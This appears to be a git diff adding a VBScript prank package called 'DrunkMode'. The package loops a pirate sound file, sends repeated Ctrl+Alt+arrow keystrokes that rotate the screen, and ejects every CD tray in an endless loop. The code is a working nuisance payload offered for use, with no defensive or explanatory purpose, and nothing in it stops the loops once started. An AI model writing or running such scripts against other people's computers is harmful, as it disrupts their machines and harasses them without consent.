4 files changed, 45 insertions, 0 deletions
diff --git a/Pirate/DrunkMode.vbs b/Pirate/DrunkMode.vbs
new file mode 100755
index 0000000..1c254e7
--- /dev/null
+++ b/Pirate/DrunkMode.vbs
@@ -0,0 +1,23 @@
+Set WshShell = WScript.CreateObject("WScript.Shell")
+Set fso = CreateObject("Scripting.FileSystemObject")
+
+Dim objShell
+Set objShell = Wscript.CreateObject("WScript.Shell")
+
+objShell.Run "tray.vbs"
+objShell.Run "keys.vbs" 
+
+Dim oPlayer
+Set oPlayer = CreateObject("WMPlayer.OCX")
+
+do
+Directory = fso.BuildPath(CurrentDirectory, "pirates.wav")
+oPlayer.URL = "pirates.wav"
+oPlayer.controls.play 
+While oPlayer.playState <> 1 '
+  WScript.Sleep 100
+Wend
+oPlayer.close
+
+c = c+1
+loop while c  < 100000
diff --git a/Pirate/keys.vbs b/Pirate/keys.vbs
new file mode 100755
index 0000000..47c93d8
--- /dev/null
+++ b/Pirate/keys.vbs
@@ -0,0 +1,9 @@
+Set WshShell = WScript.CreateObject("WScript.Shell")
+do
+WshShell.SendKeys "^%{RIGHT}"
+WshShell.SendKeys "^%{DOWN}"
+WshShell.SendKeys "^%{UP}"
+WshShell.SendKeys "^%{LEFT}"
+c = c+1
+
+loop while c < 400000
+\ No newline at end of file
diff --git a/Pirate/pirates.wav b/Pirate/pirates.wav
new file mode 100755
index 0000000..05d9297
--- /dev/null
+++ b/Pirate/pirates.wav
diff --git a/Pirate/tray.vbs b/Pirate/tray.vbs
new file mode 100755
index 0000000..3ce1b30
--- /dev/null
+++ b/Pirate/tray.vbs
@@ -0,0 +1,13 @@
+Set oWMP = CreateObject("WMPlayer.OCX.7")
+Set colCDROMs = oWMP.cdromCollection
+do
+if colCDROMs.Count >= 1 then
+For i = 0 to colCDROMs.Count -1
+colCDROMs.Item(i).Eject
+Next
+For i = 0 to colCDROMs.Count -1
+colCDROMs.Item(i).Eject
+Next
+End If
+wscript.sleep 2000
+loop
+\ No newline at end of file